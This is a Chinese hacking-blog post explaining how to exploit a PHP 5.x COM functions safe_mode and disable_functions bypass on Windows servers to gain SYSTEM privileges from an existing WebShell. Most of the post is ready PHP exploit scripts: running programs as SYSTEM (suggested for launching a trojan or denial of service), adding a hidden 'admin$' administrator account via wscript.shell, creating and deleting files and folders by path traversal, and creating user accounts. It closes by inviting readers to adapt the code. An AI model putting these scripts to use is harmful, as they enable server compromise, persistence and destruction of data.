PHP 5.x COM functions提权漏洞

作者:hack1990 时间:11-10-31 阅读数:889人阅读

PHP是英文“超级文本预处理语言”(Hypertext Preprocessor)的缩写,是一种HTML内嵌式的语言。它可以比CGI或者Perl更快速地执行动态网页。PHP具有非常强大的功能,所有的 CGI或者JavaScript的功能,PHP都能实现,支持几乎所有流行的数据库以及操作系统。     近期功能如此强大、运用如此广泛的PHP却出现了重大漏洞,也就是PHP 5.x COM functions safe_mode and disable_function bypass漏洞。它可以实现提权,这是很多朋友们所梦寐以求的。下面我们先来总体介绍一下漏洞,由于本人水平有限,请大家原谅不准确的地方。     漏洞所用到的COM函数只在Windows环境下的PHP才存在,.net的支持需要PHP5以及.net Runtime。漏洞所利用的函数无需特殊安装,是PHP内核的一部分。Windows环境下的PHP默认支持这些扩展,不用额外加载其他扩展来调用漏洞 函数。           现在部分大中型网站都喜欢用PHP+Apache+Windows来架设,这样的话,PHP漏洞的打击面就会很大了,特别是在现在提权越来越难的形势下, 我想,很多服务器会因为这个漏洞而沦陷的。 根据漏洞发现者公布的内容,漏洞的利用要求php.ini中有如下设置。我的测试环境为PHP5.2.3+Apache2.2.3+Windows XP SP2,在我的测试当中,发现并不一定要严格按照这样配置,大家可以自己测试一下看看。

safe_mode = On
disable_functions = com_load_typelib
open_basedir = htdocs
下面我们就逐一看看这个漏洞的内容与利用。

compatUI.dll中的RunApplication函数
这个漏洞的测试代码如下。
<?php
$compatUI = new COM(‘{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}’);
//加载compatUI.dll   $compatUI->RunApplication(“something”, “notepad.exe”, 1);
//运行记事本
?>

将其保存为PHP文件,放到服务器上,然后用IE访问就可以了。运行后IE是没有什么回显的,如图1所示,但实际上记事本已经运行了,而且是SYSTEM权限,因为它是由系统服务来运行的,所以继承了SYSTEM权限,如图2所示。

利用这个漏洞,我们可以运行已经上传好的木马,实现WebShell的提权。当然,如果你足够无聊的话,还可以写成循环,让服务器运行很多记事本,实现D.O.S。

Wscript运行命令

这个漏洞的测试代码如下。
<?php
$wscript = new COM(‘wscript.shell’); //要用到wscript.exe
$wscript->Run(“cmd.exe /c calc.exe”);//运行calc.exe
?>

访问该脚本后,服务器上出现了SYSTEM权限的calc.exe进程,如图3所示。我们只要发挥一下想象力,修改一下脚本,就能加个管理员账户了,具体代码如下。

<?php
$wscript = new COM(‘wscript.shell’);$wscript->Run(“cmd.exe /c net user admin$ /add”);
$wscript->Run(“cmd.exe /c net localgroup administrators admin$ /add”);
?>

访问该脚本之后,即可添加管理员成功,这对SYSTEM权限来说简直就是噩梦,如图4所示

wshom.ocx中的OpenTextFile
OpenTextFile可以用于创建一个文件,其中存在的漏洞的测试代码如下。

<?php
$mPath = str_repeat(“..”,20);
$FSO = new COM(‘Scripting.FileSystemObject’);//用到了wshom.ocx
$FSO->OpenTextFile($mPath.”bat.bat”, 8, true); //在服务器上创建文件,虽然这个函数是用来打开文件的,但是文件不存在就被创建了
?>

果然在C区根目录出现了这个批处理文件bat.bat,如图5所示

 

wshom.ocx中的DeleteFile
这个函数可以删除服务器上的文件,大家要小心使用,测试代码如下。

<?php
$mPath = str_repeat(“..”,20);
$FSOdelFile = new COM(‘Scripting.FileSystemObject’);
//利用了wshom.ocx
$FSOdelFile->DeleteFile($mPath.”.*.dat”, True);
//删除C区根目录的所有dat文件?>

wshom.ocx中的DeleteFolder
利用这个函数可以删除服务器上的文件夹,很恐怖哦。测试代码如下:

<?php
$mPath = str_repeat(“..”,20);
$FSOdelFolder = new COM(‘Scripting.FileSystemObject’);
//使用wshom.ocx
$FSOdelFolder->DeleteFolder($mPath.”.11″, True);
//删除特定的文件夹
?>

访问之后,成功删除了c:11这个文件夹。

shgina.dll中Create函数创建账户
这个漏洞的测试代码如下:

<?php
$user = new COM(‘{60664CAF-AF0D-0004-A300-5C7D25FF22A0}’);
//利用shgina.dll$user->Create(“asd”);
//创建账户asd
?>

不过,这里要注意一下,利用这个漏洞创建的账户只是属于users组的,如图6所示

关于PHP 5.x COM functions漏洞的利用就为大家介绍到这里了,测试代码已经随文提供,大家根据自己的需要,进行适当修改即可。不过,提醒大家一下,以上几个漏洞的利用前提是我们已经有了WebShell,之后才可以上传用于提权的脚本,切记哦

发表评论